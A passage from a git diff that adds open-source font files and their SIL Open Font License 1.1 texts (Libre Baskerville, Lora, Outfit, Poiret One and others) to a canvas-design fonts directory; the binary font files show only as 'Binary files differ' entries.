user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt b/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt new file mode 100644 index 00000000..8c531fa5 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville. + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf b/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf new file mode 100644 index 00000000..c1abc264 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/LibreBaskerville-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Lora-Bold.ttf b/skills/canvas-design/canvas-fonts/Lora-Bold.ttf new file mode 100644 index 00000000..edae21eb Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Lora-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf b/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf new file mode 100644 index 00000000..12dea8c6 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Lora-BoldItalic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Lora-Italic.ttf b/skills/canvas-design/canvas-fonts/Lora-Italic.ttf new file mode 100644 index 00000000..e24b69b2 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Lora-Italic.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Lora-OFL.txt b/skills/canvas-design/canvas-fonts/Lora-OFL.txt new file mode 100644 index 00000000..4cf1b950 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Lora-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Lora-Regular.ttf b/skills/canvas-design/canvas-fonts/Lora-Regular.ttf new file mode 100644 index 00000000..dc751db0 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Lora-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf b/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf new file mode 100644 index 00000000..f4d7c021 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/NationalPark-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt b/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt new file mode 100644 index 00000000..f4ec3fba --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf b/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf new file mode 100644 index 00000000..e4cbfbf5 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/NationalPark-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt new file mode 100644 index 00000000..c81eccde --- /dev/null +++ b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2010, Kimberly Geswein (kimberlygeswein.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf new file mode 100644 index 00000000..b086bced Binary files /dev/null and b/skills/canvas-design/canvas-fonts/NothingYouCouldDo-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf b/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf new file mode 100644 index 00000000..f9f2f72a Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Outfit-Bold.ttf differ diff --git a/skills/canvas-design/canvas-fonts/Outfit-OFL.txt b/skills/canvas-design/canvas-fonts/Outfit-OFL.txt new file mode 100644 index 00000000..fd0cb995 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/Outfit-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf b/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf new file mode 100644 index 00000000..3939ab24 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/Outfit-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf b/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf new file mode 100644 index 00000000..95cd3725 Binary files /dev/null and b/skills/canvas-design/canvas-fonts/PixelifySans-Medium.ttf differ diff --git a/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt b/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt new file mode 100644 index 00000000..b02d1b67 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt b/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt new file mode 100644 index 00000000..607bdad3 --- /dev/null +++ b/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt @@ -0,0 +1,93 @@ +Copyright (c) 2011, Denis Masharov (denis.masharov@gmail.com) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf b/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf new file mode 100644 index 00000000..b339511b Binary files /dev/null and b/skills/canvas-design/canvas-fonts/PoiretOne-Regular.ttf differ diff --git a/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf b/skills/canvas-design/canvas-fonts/RedHatMono-Bold.ttf new file mode 100644 index 00000000..a6e3cf15 Binary files /dev/null and 